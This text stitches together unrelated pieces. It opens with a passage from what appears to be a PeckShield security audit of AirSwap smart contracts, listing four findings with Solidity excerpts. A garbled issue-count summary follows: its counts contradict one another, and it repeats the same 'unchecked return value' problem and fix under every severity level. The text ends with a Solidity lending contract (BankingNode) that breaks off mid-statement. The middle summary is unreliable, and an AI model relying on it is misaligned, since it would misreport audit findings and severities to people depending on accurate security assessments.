confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT // NOTE: BankingNode.sol should only be created through the BNPLFactory contract to // ensure compatibility of baseToken and minimum bond amounts. Before interacting, // please ensure that the contract deployer was BNPLFactory.sol pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./interfaces/ILendingPool.sol"; import "./interfaces/ILendingPoolAddressesProvider.sol"; import "./interfaces/IAaveIncentivesController.sol"; import "./libraries/UniswapV2Library.sol"; import "./libraries/TransferHelper.sol"; //CUSTOM ERRORS //occurs when trying to do privledged functions error InvalidUser(address requiredUser); //occurs when users try to add funds if node operator hasn't maintaioned enough pledged BNPL error NodeInactive(); //occurs when trying to interact without being KYC's (if node requires it) error KYCNotApproved(); //occurs when trying to pay loans that are completed or not started error NoPrincipalRemaining(); //occurs when trying to swap/deposit/withdraw a zero error ZeroInput(); //occurs if interest rate, loanAmount, or paymentInterval or is applied as 0 error InvalidLoanInput(); //occurs if trying to apply for a loan with >5 year loan length error MaximumLoanDurationExceeded(); //occurs if user tries to withdraw collateral while loan is still ongoing error LoanStillOngoing(); //edge case occurence if all BNPL is slashed, but there are still BNPL shares error DonationRequired(); //occurs if operator tries to unstake while there are active loans error ActiveLoansOngoing(); //occurs when trying to withdraw too much funds error InsufficientBalance(); //occurs during swaps, if amount received is lower than minOut (slippage tolerance exceeded) error InsufficentOutput(); //occurs if trying to approve a loan that has already started error LoanAlreadyStarted(); //occurs if trying to approve a loan without enough collateral posted error InsufficientCollateral(); //occurs when trying to slash a loan that is not yet considered defaulted error LoanNotExpired(); //occurs is trying to slash an already slashed loan error LoanAlreadySlashed(); //occurs if trying to withdraw staked BNPL where 7 day unbonding hasnt passed error LoanStillUnbonding(); //occurs if trying to post baseToken as collateral error InvalidCollateral(); //first deposit to prevent edge case must be at least 10M wei error InvalidInitialDeposit(); contract BankingNode is ERC20("BNPL USD", "pUSD") { //Node specific variables address public operator; address public baseToken; //base liquidity token, e.g. USDT or USDC uint256 public gracePeriod; bool public requireKYC; //variables used for swaps, private to reduce contract size address private uniswapFactory; address private WETH; uint256 private incrementor; //constants set by factory address public BNPL; ILendingPoolAddressesProvider public lendingPoolProvider; address public immutable bnplFactory; //used by treasury can be private IAaveIncentivesController private aaveRewardController; address private treasury; //For loans mapping(uint256 => Loan) public idToLoan; uint256[] public pendingRequests; uint256[] public currentLoans; mapping(uint256 => uint256) defaultedLoans; uint256 public defaultedLoanCount; //For Staking, Slashing and Balances uint256 public accountsReceiveable; mapping(address => bool) public whitelistedAddresses; mapping(address => uint256) public unbondBlock; mapping(uint256 => address) public loanToAgent; uint256 public slashingBalance; mapping(address => uint256) public stakingShares; //can be private as there is a getter function for staking balance uint256 public totalStakingShares; uint256 public unbondingAmount; mapping(address => uint256) public unbondingShares; //can be private as there is getter function for unbonding balance uint256 private totalUnbondingShares; uint256 public timeCreated; //For Collateral in loans mapping(address => uint256) public collateralOwed; struct Loan { address borrower; bool interestOnly; //interest only or principal + interest uint256 loanStartTime; //unix timestamp of start uint256 loanAmount; uint256 paymentInterval; //unix interval of payment (e.g. monthly = 2,628,000) uint256 interestRate; //interest rate per peiod * 10000, e.g., 10% on a 12 month loan = : 0.1 * 10000 / 12 = 83 uint256 numberOfPayments; uint256 principalRemaining; uint256 paymentsMade; address collateral; uint256 collateralAmount; bool isSlashed; } //EVENTS event LoanRequest(uint256 loanId, string message); event collateralWithdrawn( uint256 loanId, address collateral, uint256 collateralAmount ); event approvedLoan(uint256 loanId); event loanPaymentMade(uint256 loanId); event loanRepaidEarly(uint256 loanId); event baseTokenDeposit(address user, uint256 amount); event baseTokenWithdrawn(address user, uint256 amount); event feesCollected(uint256 operatorFees, uint256 stakerFees); event baseTokensDonated(uint256 amount); event loanSlashed(uint256 loanId); event slashingSale(uint256 bnplSold, uint256 baseTokenRecovered); event bnplStaked(address user, uint256 bnplStaked); event unbondingInitiated(address user, uint256 unbondAmount); event bnplWithdrawn(address user, uint256 bnplWithdrawn); event KYCRequirementChanged(bool newStatus); constructor() { bnplFactory = msg.sender; } // MODIFIERS /** * Ensure a node is active for deposit, stake functions * Require KYC is also batched in */ modifier ensureNodeActive() { address _operator = operator; if (msg.sender != bnplFactory && msg.sender != _operator) { if (getBNPLBalance(_operator) < 0x13DA329B6336471800000) { revert NodeInactive(); } if (requireKYC && whitelistedAddresses[msg.sender] == false) { revert KYCNotApproved(); } } _; } /** * Ensure that the loan has principal to be paid */ modifier ensurePrincipalRemaining(uint256 loanId) { if (idToLoan[loanId].principalRemaining == 0) { revert NoPrincipalRemaining(); } _; } /** * For operator only functions */ modifier operatorOnly() { address _operator = operator; if (msg.sender != _operator) { revert InvalidUser(_operator); } _; } /** * Requires input value to be non-zero */ modifier nonZeroInput(uint256 input) { if (input == 0) { revert ZeroInput(); } _; } /** * Ensures collateral is not the baseToken */ modifier nonBaseToken(address collateral) { if (collateral == baseToken) { revert InvalidCollateral(); } _; } //STATE CHANGING FUNCTIONS /** * Called once by the factory at time of deployment */ function initialize( address _baseToken, address _BNPL, bool _requireKYC, address _operator, uint256 _gracePeriod, address _lendingPoolProvider, address _WETH, address _aaveDistributionController, address _uniswapFactory ) external { //only to be done by factory, no need for error msgs in here as not used by users require(msg.sender == bnplFactory); baseToken = _baseToken; BNPL = _BNPL; requireKYC = _requireKYC; operator = _operator; gracePeriod = _gracePeriod; lendingPoolProvider = ILendingPoolAddressesProvider( _lendingPoolProvider ); aaveRewardController = IAaveIncentivesController( _aaveDistributionController ); WETH = _WETH; uniswapFactory = _uniswapFactory; treasury = address(0x27a99802FC48b57670846AbFFf5F2DcDE8a6fC29); timeCreated = block.timestamp; //decimal check on baseToken and aToken to make sure math logic on future steps require( ERC20(_baseToken).decimals() == ERC20( _getLendingPool().getReserveData(_baseToken).aTokenAddress ).decimals() ); } /** * Request a loan from the banking node * Saves the loan with the operator able to approve or reject * Can post collateral if chosen, collateral accepted is anything that is accepted by aave * Collateral can not be the same token as baseToken */ function requestLoan( uint256 loanAmount, uint256 paymentInterval, uint256 numberOfPayments, uint256 interestRate, bool interestOnly, address collateral, uint256 collateralAmount, address agent, string memory message ) external ensureNodeActive nonBaseToken(collateral) returns (uint256 requestId) { if ( loanAmount < 10000000 || paymentInterval == 0 || interestRate == 0 || numberOfPayments == 0 ) { revert InvalidLoanInput(); } //157,680,000 seconds in 5 years if (paymentInterval * numberOfPayments > 157680000) { revert MaximumLoanDurationExceeded(); } requestId = incrementor; incrementor++; pendingRequests.push(requestId); idToLoan[requestId] = Loan( msg.sender, //set borrower interestOnly, 0, //start time initiated to 0 loanAmount, paymentInterval, //interval of payments (e.g. Monthly) interestRate, //annualized interest rate per period * 10000 (e.g. 12 month loan 10% = 83) numberOfPayments, 0, //initalize principalRemaining to 0 0, //intialize paymentsMade to 0 collateral, collateralAmount, false ); //post the collateral if any if (collateralAmount > 0) { //update the collateral owed (interest accrued on collateral is given to lend) collateralOwed[collateral] += collateralAmount; TransferHelper.safeTransferFrom( collateral, msg.sender, address(this), collateralAmount ); //deposit the collateral in AAVE to accrue interest _depositToLendingPool(collateral, collateralAmount); } //save the agent of the loan loanToAgent[requestId] = agent; emit LoanRequest(requestId, message); } /** * Withdraw the collateral from a loan * Loan must have no principal remaining (not approved, or payments finsihed) */ function withdrawCollateral(uint256 loanId) external { Loan storage loan = idToLoan[loanId]; address collateral = loan.collateral; uint256 amount = loan.collateralAmount; //must be the borrower or operator to withdraw, and loan must be either paid/not initiated if (msg.sender != loan.borrower) { revert InvalidUser(loan.borrower); } if (loan.principalRemaining > 0) { revert LoanStillOngoing(); } //update the amounts collateralOwed[collateral] -= amount; loan.collateralAmount = 0; //no need to check if loan is slashed as collateral amont set to 0 on slashing _withdrawFromLendingPool(collateral, amount, loan.borrower); emit collateralWithdrawn(loanId, collateral, amount); } /** * Collect AAVE rewards to be sent to the treasury */ function collectAaveRewards(address[] calldata assets) external { uint256 rewardAmount = aaveRewardController.getUserUnclaimedRewards( address(this) ); address _treasuy = treasury; if (rewardAmount == 0) { revert ZeroInput(); } //claim rewards to the treasury aaveRewardController.claimRewards(assets, rewardAmount, _treasuy); //no need for event as its a function that will only be used by treasury } /** * Collect the interest earnt on collateral posted to distribute to stakers * Collateral can not be the same as baseToken */ function collectCollateralFees(address collateral) external nonBaseToken(collateral) { //get the aToken address ILendingPool lendingPool = _getLendingPool(); address _bnpl = BNPL; uint256 feesAccrued = IERC20( lendingPool.getReserveData(collateral).aTokenAddress ).balanceOf(address(this)) - collateralOwed[collateral]; //ensure there is collateral to collect inside of _swap lendingPool.withdraw(collateral, feesAccrued, address(this)); //no slippage for small swaps _swapToken(collateral, _bnpl, 0, feesAccrued); } /* * Make a loan payment */ function makeLoanPayment(uint256 loanId) external ensurePrincipalRemaining(loanId) { Loan storage loan = idToLoan[loanId]; uint256 paymentAmount = getNextPayment(loanId); uint256 interestPortion = (loan.principalRemaining * loan.interestRate) / 10000; address _baseToken = baseToken; loan.paymentsMade++; //reduce accounts receiveable and loan principal if principal + interest payment bool finalPayment = loan.paymentsMade == loan.numberOfPayments; if (!loan.interestOnly) { uint256 principalPortion = paymentAmount - interestPortion; loan.principalRemaining -= principalPortion; accountsReceiveable -= principalPortion; } else { //interest only, principal change only on final payment if (finalPayment) { accountsReceiveable -= loan.principalRemaining; loan.principalRemaining = 0; } } //make payment TransferHelper.safeTransferFrom( _baseToken, msg.sender, address(this), paymentAmount ); //deposit the tokens into AAVE on behalf of the pool contract, withholding 30% and the interest as baseToken _depositToLendingPool( _baseToken, paymentAmount - ((interestPortion * 3) / 10) ); //remove if final payment if (finalPayment) { _removeCurrentLoan(loanId); } //increment the loan status emit loanPaymentMade(loanId); } /** * Repay remaining balance to save on interest cost * Payment amount is remaining principal + 1 period of interest */ function repayEarly(uint256 loanId) external ensurePrincipalRemaining(loanId) { Loan storage loan = idToLoan[loanId]; uint256 principalLeft = loan.principalRemaining; //make a payment of remaining principal + 1 period of interest uint256 interestAmount = (principalLeft * loan.interestRate) / 10000; uint256 paymentAmount = principalLeft + interestAmount; address _baseToken = baseToken; //update accounts accountsReceiveable -= principalLeft; loan.principalRemaining = 0; //increment the loan status to final and remove from current loans array loan.paymentsMade = loan.numberOfPayments; _removeCurrentLoan(loanId); //make payment TransferHelper.safeTransferFrom( _baseToken, msg.sender, address(this), paymentAmount ); //deposit withholding 30% of the interest as fees _depositToLendingPool( _baseToken, paymentAmount - ((interestAmount * 3) / 10) ); emit loanRepaidEarly(loanId); } /** * Converts the baseToken (e.g. USDT) 20% BNPL for stakers, and sends 10% to the Banking Node Operator * Slippage set to 0 here as they would be small purchases of BNPL */ function collectFees() external { //requirement check for nonzero inside of _swap //33% to go to operator as baseToken address _baseToken = baseToken; address _bnpl = BNPL; address _operator = operator; uint256 _operatorFees = IERC20(_baseToken).balanceOf(address(this)) / 3; TransferHelper.safeTransfer(_baseToken, _operator, _operatorFees); //remainder (67%) is traded for staking rewards //no need for slippage on small trade uint256 _stakingRewards = _swapToken( _baseToken, _bnpl, 0, IERC20(_baseToken).balanceOf(address(this)) ); emit feesCollected(_operatorFees, _stakingRewards); } /** * Deposit liquidity to the banking node in the baseToken (e.g. usdt) specified * Mints tokens, with check on decimals of base tokens */ function deposit(uint256 _amount) external ensureNodeActive nonZeroInput(_amount) { //First deposit must be at least 10M wei to prevent initial attack if (getTotalAssetValue() == 0 && _amount < 10000000) { revert InvalidInitialDeposit(); } //check the decimals of the baseTokens address _baseToken = baseToken; uint256 decimalAdjust = 1; uint256 tokenDecimals = ERC20(_baseToken).decimals(); if (tokenDecimals != 18) { decimalAdjust = 10**(18 - tokenDecimals); } //get the amount of tokens to mint uint256 what = _amount * decimalAdjust; if (totalSupply() != 0) { //no need to decimal adjust here as total asset value adjusts //unable to deposit if getTotalAssetValue() == 0 and totalSupply() != 0, but this //should never occur as defaults will get slashed for some base token recovery what = (_amount * totalSupply()) / getTotalAssetValue(); } //transfer tokens from the user and mint TransferHelper.safeTransferFrom( _baseToken, msg.sender, address(this), _amount ); _mint(msg.sender, what); _depositToLendingPool(_baseToken, _amount); emit baseTokenDeposit(msg.sender, _amount); } /** * Withdraw liquidity from the banking node * To avoid need to decimal adjust, input _amount is in USDT(or equiv) to withdraw * , not BNPL USD to burn */ function withdraw(uint256 _amount) external nonZeroInput(_amount) { uint256 userBaseBalance = getBaseTokenBalance(msg.sender); if (userBaseBalance < _amount) { revert InsufficientBalance(); } //safe div, if _amount > 0, asset value always >0; uint256 what = (_amount * totalSupply()) / getTotalAssetValue(); address _baseToken = baseToken; _burn(msg.sender, what); //non-zero revert with checked in "_withdrawFromLendingPool" _withdrawFromLendingPool(_baseToken, _amount, msg.sender); emit baseTokenWithdrawn(msg.sender, _amount); } /** * Stake BNPL into a node */ function stake(uint256 _amount) external ensureNodeActive nonZeroInput(_amount) { address staker = msg.sender; //factory initial bond counted as operator if (msg.sender == bnplFactory) { staker = operator; } //calcualte the number of shares to give uint256 what = _amount; uint256 _totalStakingShares = totalStakingShares; if (_totalStakingShares > 0) { //edge case - if totalStakingShares != 0, but all bnpl has been slashed: //node will require a donation to work again uint256 totalStakedBNPL = getStakedBNPL(); if (totalStakedBNPL == 0) { revert DonationRequired(); } what = (_amount * _totalStakingShares) / totalStakedBNPL; } //collect the BNPL address _bnpl = BNPL; TransferHelper.safeTransferFrom( _bnpl, msg.sender, address(this), _amount ); //issue the shares stakingShares[staker] += what; totalStakingShares += what; emit bnplStaked(msg.sender, _amount); } /** * Unbond BNPL from a node, input is the number shares (sBNPL) * Requires a 7 day unbond to prevent frontrun of slashing events or interest repayments * Operator can not unstake unless there are no loans active */ function initiateUnstake(uint256 _amount) external nonZeroInput(_amount) { //operator cannot withdraw unless there are no active loans address _operator = operator; if (msg.sender == _operator && currentLoans.length > 0) { revert ActiveLoansOngoing(); } uint256 stakingSharesUser = stakingShares[msg.sender]; //require the user has enough if (stakingShares[msg.sender] < _amount) { revert InsufficientBalance(); } //set the time of the unbond unbondBlock[msg.sender] = block.number; //get the amount of BNPL to issue back //safe div: if user staking shares >0, totalStakingShares always > 0 uint256 what = (_amount * getStakedBNPL()) / totalStakingShares; //subtract the number of shares of BNPL from the user stakingShares[msg.sender] -= _amount; totalStakingShares -= _amount; //initiate as 1:1 for unbonding shares with BNPL sent uint256 _newUnbondingShares = what; uint256 _unbondingAmount = unbondingAmount; //update amount if there is a pool of unbonding if (_unbondingAmount != 0) { _newUnbondingShares = (what * totalUnbondingShares) / _unbondingAmount; } //add the balance to their unbonding unbondingShares[msg.sender] += _newUnbondingShares; totalUnbondingShares += _newUnbondingShares; unbondingAmount += what; emit unbondingInitiated(msg.sender, _amount); } /** * Withdraw BNPL from a bond once unbond period ends * Unbonding period is 46523 blocks (~7 days assuming a 13s avg. block time) */ function unstake() external { uint256 _userAmount = unbondingShares[msg.sender]; if (_userAmount == 0) { revert ZeroInput(); } //assuming 13s block, 46523 blocks for 1 week if (block.number < unbondBlock[msg.sender] + 46523) { revert LoanStillUnbonding(); } uint256 _unbondingAmount = unbondingAmount; uint256 _totalUnbondingShares = totalUnbondingShares; address _bnpl = BNPL; //safe div: if user amount > 0, then totalUnbondingShares always > 0 uint256 _what = (_userAmount * _unbondingAmount) / _totalUnbondingShares; //update the balances unbondingShares[msg.sender] = 0; unbondingAmount -= _what; totalUnbondingShares -= _userAmount; //transfer the tokens to user TransferHelper.safeTransfer(_bnpl, msg.sender, _what); emit bnplWithdrawn(msg.sender, _what); } /** * Declare a loan defaulted and slash the loan * Can be called by anyone * Move BNPL to a slashing balance, to be sold in seperate function * minOut used for sale of collateral, if no collateral, put 0 */ function slashLoan(uint256 loanId, uint256 minOut) external ensurePrincipalRemaining(loanId) { //Step 1. load loan as local variable Loan storage loan = idToLoan[loanId]; //Step 2. requirement checks: loan is ongoing and expired past grace period if (loan.isSlashed) { revert LoanAlreadySlashed(); } if (block.timestamp <= getNextDueDate(loanId) + gracePeriod) { revert LoanNotExpired(); } //Step 3, Check if theres any collateral to slash uint256 _collateralPosted = loan.collateralAmount; uint256 baseTokenOut = 0; address _baseToken = baseToken; if (_collateralPosted > 